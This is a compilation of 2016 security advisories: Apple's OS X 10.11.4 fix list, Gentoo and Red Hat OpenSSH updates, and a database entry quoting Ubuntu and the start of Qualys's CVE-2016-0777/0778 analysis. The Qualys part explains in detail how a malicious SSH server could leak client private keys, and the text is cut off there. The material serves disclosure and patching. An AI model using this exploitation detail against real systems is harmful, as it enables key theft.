apache_mod_php Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by updating libpng to version 1.6.20. CVE-ID CVE-2015-8126 : Adam Mariš CVE-2015-8472 : Adam Mariš

AppleRAID Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-ID CVE-2016-1733 : Proteas of Qihoo 360 Nirvan Team

AppleRAID Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to determine kernel memory layout Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-ID CVE-2016-1732 : Proteas of Qihoo 360 Nirvan Team

AppleUSBNetworking Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the parsing of data from USB devices. This issue was addressed through improved input validation. CVE-ID CVE-2016-1734 : Andrea Barisani and Andrej Rosano of Inverse Path

Bluetooth Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1735 : Jeonghoon Shin@A.D.D CVE-2016-1736 : beist and ABH of BoB

Carbon Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .dfont file may lead to arbitrary code execution Description: Multiple memory corruption issues existed in the handling of font files. These issues were addressed through improved bounds checking. CVE-ID CVE-2016-1737 : an anonymous researcher

dyld Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker may tamper with code-signed applications to execute arbitrary code in the application's context Description: A code signing verification issue existed in dyld. CVE-ID CVE-2016-1738 : beist and ABH of BoB

FontParser Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: A memory corruption issue was addressed through improved memory handling. CVE-ID CVE-2016-1740 : HappilyCoded (ant4g0nist and r3dsm0k3) working with Trend Micro's Zero Day Initiative (ZDI)

HTTPProtocol Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A remote attacker may be able to execute arbitrary code Description: Multiple vulnerabilities existed in nghttp2 versions prior to 1.6.0, the most serious of which may have led to remote code execution. These were addressed by updating nghttp2 to version 1.6.0. CVE-ID CVE-2015-8659

Intel Graphics Driver Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1743 : Piotr Bania of Cisco Talos CVE-2016-1744 : Ian Beer of Google Project Zero

IOFireWireFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to cause a denial of service Description: A null pointer dereference was addressed through improved validation. CVE-ID CVE-2016-1745 : sweetchip of Grayhash

IOGraphics Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-ID CVE-2016-1746 : Peter Pi of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI) CVE-2016-1747 : Juwei Lin of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)

IOHIDFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to determine kernel memory layout Description: A memory corruption issue was addressed through improved memory handling. CVE-ID CVE-2016-1748 : Brandon Azad

IOUSBFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1749 : Ian Beer of Google Project Zero and Juwei Lin of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A use after free issue was addressed through improved memory management. CVE-ID CVE-2016-1750 : CESG

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A race condition existed during the creation of new processes. This was addressed through improved state handling. CVE-ID CVE-2016-1757 : Ian Beer of Google Project Zero and Pedro Vilaca

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A null pointer dereference was addressed through improved input validation. CVE-ID CVE-2016-1756 : Lufeng Li of Qihoo 360 Vulcan Team

Kernel Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1754 : Lufeng Li of Qihoo 360 Vulcan Team CVE-2016-1755 : Ian Beer of Google Project Zero CVE-2016-1759 : lokihardt

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to determine kernel memory layout Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-ID CVE-2016-1758 : Brandon Azad

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple integer overflows were addressed through improved input validation. CVE-ID CVE-2016-1753 : Juwei Lin Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to cause a denial of service Description: A denial of service issue was addressed through improved validation. CVE-ID CVE-2016-1752 : CESG

libxml2 Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing maliciously crafted XML may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2015-1819 CVE-2015-5312 : David Drysdale of Google CVE-2015-7499 CVE-2015-7500 : Kostya Serebryany of Google CVE-2015-7942 : Kostya Serebryany of Google CVE-2015-8035 : gustavo.grieco CVE-2015-8242 : Hugh Davenport CVE-2016-1761 : wol0xff working with Trend Micro's Zero Day Initiative (ZDI) CVE-2016-1762

Messages Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker who is able to bypass Apple's certificate pinning, intercept TLS connections, inject messages, and record encrypted attachment-type messages may be able to read attachments Description: A cryptographic issue was addressed by rejecting duplicate messages on the client. CVE-ID CVE-2016-1788 : Christina Garman, Matthew Green, Gabriel Kaptchuk, Ian Miers, and Michael Rushanan of Johns Hopkins University

Messages Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Clicking a JavaScript link can reveal sensitive user information Description: An issue existed in the processing of JavaScript links. This issue was addressed through improved content security policy checks. CVE-ID CVE-2016-1764 : Matthew Bryan of the Uber Security Team (formerly of Bishop Fox), Joe DeMesy and Shubham Shah of Bishop Fox

NVIDIA Graphics Drivers Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1741 : Ian Beer of Google Project Zero

OpenSSH Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Connecting to a server may leak sensitive user information, such as a client's private keys Description: Roaming, which was on by default in the OpenSSH client, exposed an information leak and a buffer overflow. These issues were addressed by disabling roaming in the client. CVE-ID CVE-2016-0777 : Qualys CVE-2016-0778 : Qualys

OpenSSH Available for: OS X Mavericks v10.9.5 and OS X Yosemite v10.10.5 Impact: Multiple vulnerabilities in LibreSSL Description: Multiple vulnerabilities existed in LibreSSL versions prior to 2.1.8. These were addressed by updating LibreSSL to version 2.1.8. CVE-ID CVE-2015-5333 : Qualys CVE-2015-5334 : Qualys

OpenSSL Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A remote attacker may be able to cause a denial of service Description: A memory leak existed in OpenSSL versions prior to 0.9.8zh. This issue was addressed by updating OpenSSL to version 0.9.8zh. CVE-ID CVE-2015-3195

Python Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by updating libpng to version 1.6.20. CVE-ID CVE-2014-9495 CVE-2015-0973 CVE-2015-8126 : Adam Mariš CVE-2015-8472 : Adam Mariš

QuickTime Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted FlashPix Bitmap Image may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1767 : Francis Provencher from COSIG CVE-2016-1768 : Francis Provencher from COSIG

QuickTime Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted Photoshop document may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1769 : Francis Provencher from COSIG

Reminders Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Clicking a tel link can make a call without prompting the user Description: A user was not prompted before invoking a call. This was addressed through improved entitlement checks. CVE-ID CVE-2016-1770 : Guillaume Ross of Rapid7 and Laurent Chouinard of Laurent.ca

Ruby Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local attacker may be able to cause unexpected application termination or arbitrary code execution Description: An unsafe tainted string usage vulnerability existed in versions prior to 2.0.0-p648. CVE-ID CVE-2015-7551

Security Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to check for the existence of arbitrary files Description: A permissions issue existed in code signing tools. This was addressed though additional ownership checks. CVE-ID CVE-2016-1773 : Mark Mentovai of Google Inc.

Security Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted certificate may lead to arbitrary code execution Description: A memory corruption issue existed in the ASN.1 decoder. This issue was addressed through improved input validation. CVE-ID CVE-2016-1950 : Francis Gabriel of Quarkslab

Tcl Available for:
OS X Yosemite v10.10.5 and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by removing libpng. CVE-ID CVE-2015-8126 : Adam Mariš

TrueTypeScaler Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory corruption issue existed in the processing of font files. This issue was addressed through improved input validation. CVE-ID CVE-2016-1775 : 0x1byte working with Trend Micro's Zero Day Initiative (ZDI)

Wi-Fi Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker with a privileged network position may be able to execute arbitrary code Description: A frame validation and memory corruption issue existed for a given ethertype. This issue was addressed through additional ethertype validation and improved memory handling. CVE-ID CVE-2016-0801 : an anonymous researcher CVE-2016-0802 : an anonymous researcher

OS X El Capitan 10.11.4 includes the security content of Safari 9.1. https://support.apple.com/kb/HT206171

OS X El Capitan v10.11.4 and Security Update 2016-002 may be obtained from the Mac App Store or Apple's Software Downloads web site: http://www.apple.com/support/downloads/

Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

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Affected packages

-------------------------------------------------------------------
 Package              /     Vulnerable     /            Unaffected
-------------------------------------------------------------------

1 net-misc/openssh < 7.1_p2 >= 7.1_p2

Description

Qualys have reported two issues in the "roaming" code included in the OpenSSH client, which provides undocumented, experimental support for resuming SSH connections. Users with private keys that are not protected by a passphrase are advised to generate new keys if they have connected to an SSH server they don't fully trust. To do so, add "UseRoaming no" to the SSH client configuration, or specify "-o 'UseRoaming no'" on the command line.

Resolution

All OpenSSH users should upgrade to the latest version:

# emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/openssh-7.1_p2"

References

[ 1 ] CVE-2016-0777 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0777 [ 2 ] CVE-2016-0778 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0778

Availability

This GLSA and any updates to it are available for viewing at the Gentoo Security Website:

https://security.gentoo.org/glsa/201601-01

Concerns?

Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us.

License

Copyright 2016 Gentoo Foundation, Inc; referenced text belongs to its owner(s).

The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5 . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

===================================================================== Red Hat Security Advisory

Synopsis: Moderate: openssh security update Advisory ID: RHSA-2016:0043-01 Product: Red Hat Enterprise Linux Advisory URL: https://rhn.redhat.com/errata/RHSA-2016-0043.html Issue date: 2016-01-14 CVE Names: CVE-2016-0777 CVE-2016-0778 =====================================================================

  1. Summary:

Updated openssh packages that fix two security issues are now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having Moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64 Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64

  1. Description:

OpenSSH is OpenBSD's SSH (Secure Shell) protocol implementation. These packages include the core files necessary for both the OpenSSH client and server. (CVE-2016-0778)

Red Hat would like to thank Qualys for reporting these issues.

All openssh users are advised to upgrade to these updated packages, which contain backported patches to correct these issues. After installing this update, the OpenSSH server daemon (sshd) will be restarted automatically. Solution:

Before applying this update, make sure all previously released errata relevant to your system have been applied.

For details on how to apply this update, refer to:

https://access.redhat.com/articles/11258

  1. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source: openssh-6.6.1p1-23.el7_2.src.rpm

x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm

Red Hat Enterprise Linux Client Optional (v. 7):

x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm

Red Hat Enterprise Linux ComputeNode (v. 7):

Source: openssh-6.6.1p1-23.el7_2.src.rpm

x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm

Red Hat Enterprise Linux ComputeNode Optional (v. 7):

x86_64: openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm

Red Hat Enterprise Linux Server (v. 7):

Source: openssh-6.6.1p1-23.el7_2.src.rpm

ppc64: openssh-6.6.1p1-23.el7_2.ppc64.rpm openssh-askpass-6.6.1p1-23.el7_2.ppc64.rpm openssh-clients-6.6.1p1-23.el7_2.ppc64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm openssh-keycat-6.6.1p1-23.el7_2.ppc64.rpm openssh-server-6.6.1p1-23.el7_2.ppc64.rpm

ppc64le: openssh-6.6.1p1-23.el7_2.ppc64le.rpm openssh-askpass-6.6.1p1-23.el7_2.ppc64le.rpm openssh-clients-6.6.1p1-23.el7_2.ppc64le.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm openssh-keycat-6.6.1p1-23.el7_2.ppc64le.rpm openssh-server-6.6.1p1-23.el7_2.ppc64le.rpm

s390x: openssh-6.6.1p1-23.el7_2.s390x.rpm openssh-askpass-6.6.1p1-23.el7_2.s390x.rpm openssh-clients-6.6.1p1-23.el7_2.s390x.rpm openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm openssh-keycat-6.6.1p1-23.el7_2.s390x.rpm openssh-server-6.6.1p1-23.el7_2.s390x.rpm

x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

ppc64: openssh-debuginfo-6.6.1p1-23.el7_2.ppc.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm openssh-ldap-6.6.1p1-23.el7_2.ppc64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64.rpm

ppc64le: openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm openssh-ldap-6.6.1p1-23.el7_2.ppc64le.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64le.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64le.rpm

s390x: openssh-debuginfo-6.6.1p1-23.el7_2.s390.rpm openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm openssh-ldap-6.6.1p1-23.el7_2.s390x.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.s390x.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390x.rpm

x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source: openssh-6.6.1p1-23.el7_2.src.rpm

x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm

Red Hat Enterprise Linux Workstation Optional (v. 7):

x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm

These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/

  1. References:

https://access.redhat.com/security/cve/CVE-2016-0777 https://access.redhat.com/security/cve/CVE-2016-0778 https://access.redhat.com/security/updates/classification/#moderate https://access.redhat.com/articles/2123781

  1. Contact:

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/

Copyright 2016 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1

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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce

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    "data": "The (1) roaming_read and (2) roaming_write functions in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2, when certain proxy and forward options are enabled, do not properly maintain connection file descriptors, which allows remote servers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact by requesting many forwardings. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. In addition, JVNVU#95595627 Then CWE-122 It is published as CWE-122: Heap-based Buffer Overflow http://cwe.mitre.org/data/definitions/122.htmlA large amount of transfer is requested by the remote server, resulting in a denial of service ( Heap-based buffer overflow ) It can be unspecified, such as being put into a state. OpenSSH is prone to a heap-based buffer-overflow vulnerability. \nSuccessful exploits may allow attackers to execute arbitrary code in the  context of the affected application. Failed attacks will cause  denial-of-service conditions. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. ============================================================================\nUbuntu Security Notice USN-2869-1\nJanuary 14, 2016\n\nopenssh vulnerabilities\n============================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 15.10\n- Ubuntu 15.04\n- Ubuntu 14.04 LTS\n- Ubuntu 12.04 LTS\n\nSummary:\n\nOpenSSH could be made to expose sensitive information over the network. \n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 15.10:\n  openssh-client                  1:6.9p1-2ubuntu0.1\n\nUbuntu 15.04:\n  openssh-client                  1:6.7p1-5ubuntu1.4\n\nUbuntu 14.04 LTS:\n  openssh-client                  1:6.6p1-2ubuntu2.4\n\nUbuntu 12.04 LTS:\n  openssh-client                  1:5.9p1-5ubuntu1.8\n\nIn general, a standard system update will make all the necessary changes. \nQualys Security Advisory\n\nRoaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778\n\n\n========================================================================\nContents\n========================================================================\n\nSummary\nInformation Leak (CVE-2016-0777)\n- Analysis\n- Private Key Disclosure\n- Mitigating Factors\n- Examples\nBuffer Overflow (CVE-2016-0778)\n- Analysis\n- Mitigating Factors\n- File Descriptor Leak\nAcknowledgments\nProof Of Concept\n\n\n========================================================================\nSummary\n========================================================================\n\nSince version 5.4 (released on March 8, 2010), the OpenSSH client\nsupports an undocumented feature called roaming: if the connection to an\nSSH server breaks unexpectedly, and if the server supports roaming as\nwell, the client is able to reconnect to the server and resume the\nsuspended SSH session. This information leak may have already been exploited in\nthe wild by sophisticated attackers, and high-profile sites or users may\nneed to regenerate their SSH keys accordingly. \n\nThe buffer overflow, on the other hand, is present in the default\nconfiguration of the OpenSSH client but its exploitation requires two\nnon-default options: a ProxyCommand, and either ForwardAgent (-A) or\nForwardX11 (-X). This buffer overflow is therefore unlikely to have any\nreal-world impact, but provides a particularly interesting case study. \n\nAll OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be\neasily hot-fixed by setting the undocumented option \"UseRoaming\" to\n\"no\", as detailed in the Mitigating Factors section. OpenSSH version\n7.1p2 (released on January 14, 2016) disables roaming by default. \n\n\n========================================================================\nInformation Leak (CVE-2016-0777)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nIf the OpenSSH client connects to an SSH server that offers the key\nexchange algorithm \"resume@appgate.com\", it sends the global request\n\"roaming@appgate.com\" to the server, after successful authentication. If\nthis request is accepted, the client allocates a roaming buffer out_buf,\nby calling malloc() (and not calloc()) with an out_buf_size that is\narbitrarily chosen by the server:\n\n 63 void\n 64 roaming_reply(int type, u_int32_t seq, void *ctxt)\n 65 {\n 66         if (type == SSH2_MSG_REQUEST_FAILURE) {\n 67                 logit(\"Server denied roaming\");\n 68                 return;\n 69         }\n 70         verbose(\"Roaming enabled\");\n .. \n 75         set_out_buffer_size(packet_get_int() + get_snd_buf_size());\n .. \n 77 }\n\n 40 static size_t out_buf_size = 0;\n 41 static char *out_buf = NULL;\n 42 static size_t out_start;\n 43 static size_t out_last;\n .. \n 75 void\n 76 set_out_buffer_size(size_t size)\n 77 {\n 78         if (size == 0 || size \u003e MAX_ROAMBUF)\n 79                 fatal(\"%s: bad buffer size %lu\", __func__, (u_long)size);\n 80         /*\n 81          * The buffer size can only be set once and the buffer will live\n 82          * as long as the session lives. \n 83          */\n 84         if (out_buf == NULL) {\n 85                 out_buf_size = size;\n 86                 out_buf = xmalloc(size);\n 87                 out_start = 0;\n 88                 out_last = 0;\n 89         }\n 90 }\n\nThe OpenSSH client\u0027s roaming_write() function, a simple wrapper around\nwrite(), calls wait_for_roaming_reconnect() to transparently reconnect\nto the SSH server after a disconnection. It also calls buf_append() to\ncopy the data sent to the server into the roaming buffer out_buf. During\na reconnection, the client is therefore able to resend the data that was\nnot received by the server because of the disconnection:\n\n198 void\n199 resend_bytes(int fd, u_int64_t *offset)\n200 {\n201         size_t available, needed;\n202\n203         if (out_start \u003c out_last)\n204                 available = out_last - out_start;\n205         else\n206                 available = out_buf_size;\n207         needed = write_bytes - *offset;\n208         debug3(\"resend_bytes: resend %lu bytes from %llu\",\n209             (unsigned long)needed, (unsigned long long)*offset);\n210         if (needed \u003e available)\n211                 fatal(\"Needed to resend more data than in the cache\");\n212         if (out_last \u003c needed) {\n213                 int chunkend = needed - out_last;\n214                 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,\n215                     chunkend);\n216                 atomicio(vwrite, fd, out_buf, out_last);\n217         } else {\n218                 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);\n219         }\n220 }\n\nIn the OpenSSH client\u0027s roaming buffer out_buf, the most recent data\nsent to the server begins at index out_start and ends at index out_last. \nAs soon as this circular buffer is full, buf_append() maintains the\ninvariant \"out_start = out_last + 1\", and consequently three different\ncases have to be considered:\n\n- \"out_start \u003c out_last\" (lines 203-204): out_buf is not full yet (and\n  out_start is still equal to 0), and the amount of data available in\n  out_buf is indeed \"out_last - out_start\";\n\n- \"out_start \u003e out_last\" (lines 205-206): out_buf is full (and out_start\n  is exactly equal to \"out_last + 1\"), and the amount of data available\n  in out_buf is indeed the entire out_buf_size;\n\n- \"out_start == out_last\" (lines 205-206): no data was ever written to\n  out_buf (and both out_start and out_last are still equal to 0) because\n  no data was ever sent to the server after roaming_reply() was called,\n  but the client sends (leaks) the entire uninitialized out_buf to the\n  server (line 214), as if out_buf_size bytes of data were available. \n\nIn order to successfully exploit this information leak and retrieve\nsensitive information from the OpenSSH client\u0027s memory (for example,\nprivate SSH keys, or memory addresses useful for further exploitation),\na malicious server needs to:\n\n- Massage the client\u0027s heap before roaming_reply() malloc()ates out_buf,\n  and force malloc() to return a previously free()d but uncleansed chunk\n  of sensitive information. The simple proof-of-concept in this advisory\n  does not implement heap massaging. \n\n- Guess the client\u0027s get_snd_buf_size() in order to precisely control\n  out_buf_size. OpenSSH \u003c 6.0 accepts out_buf sizes in the range (0,4G),\n  and OpenSSH \u003e= 6.0 accepts sizes in the range (0,2M]. Sizes smaller\n  than get_snd_buf_size() are attainable because roaming_reply() does\n  not protect \"packet_get_int() + get_snd_buf_size()\" against integer\n  wraparound. The proof-of-concept in this advisory attempts to derive\n  the client\u0027s get_snd_buf_size() from the get_recv_buf_size() sent by\n  the client to the server, and simply chooses a random out_buf_size. \n\n- Advise the client\u0027s resend_bytes() that all \"available\" bytes (the\n  entire out_buf_size) are \"needed\" by the server, even if fewer bytes\n  were actually written by the client to the server (because the server\n  controls the \"*offset\" argument, and resend_bytes() does not protect\n  \"needed = write_bytes - *offset\" against integer wraparound). \n\nFinally, a brief digression on a minor bug in resend_bytes(): on 64-bit\nsystems, where \"chunkend\" is a 32-bit signed integer, but \"out_buf\" and\n\"out_buf_size\" are 64-bit variables, \"out_buf + out_buf_size - chunkend\"\nmay point out-of-bounds, if chunkend is negative (if out_buf_size is in\nthe [2G,4G) range). This negative chunkend is then converted to a 64-bit\nsize_t greater than SSIZE_MAX when passed to atomicio(), and eventually\nreturns EFAULT when passed to write() (at least on Linux and OpenBSD),\nthus avoiding an out-of-bounds read from the OpenSSH client\u0027s memory. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure\n------------------------------------------------------------------------\n\nWe initially believed that this information leak in the OpenSSH client\u0027s\nroaming code would not allow a malicious SSH server to steal the\nclient\u0027s private keys, because:\n\n- the information leaked is not read from out-of-bounds memory, but from\n  a previously free()d chunk of memory that is recycled to malloc()ate\n  the client\u0027s roaming buffer out_buf;\n\n- private keys are loaded from disk into memory and freed by key_free()\n  (old API, OpenSSH \u003c 6.7) or sshkey_free() (new API, OpenSSH \u003e= 6.7),\n  and both functions properly cleanse the private keys\u0027 memory with\n  OPENSSL_cleanse() or explicit_bzero();\n\n- temporary copies of in-memory private keys are freed by buffer_free()\n  (old API) or sshbuf_free() (new API), and both functions attempt to\n  cleanse these copies with memset() or bzero(). \n\nHowever, we eventually identified three reasons why, in our experiments,\nwe were able to partially or completely retrieve the OpenSSH client\u0027s\nprivate keys through this information leak (depending on the client\u0027s\nversion, compiler, operating system, heap layout, and private 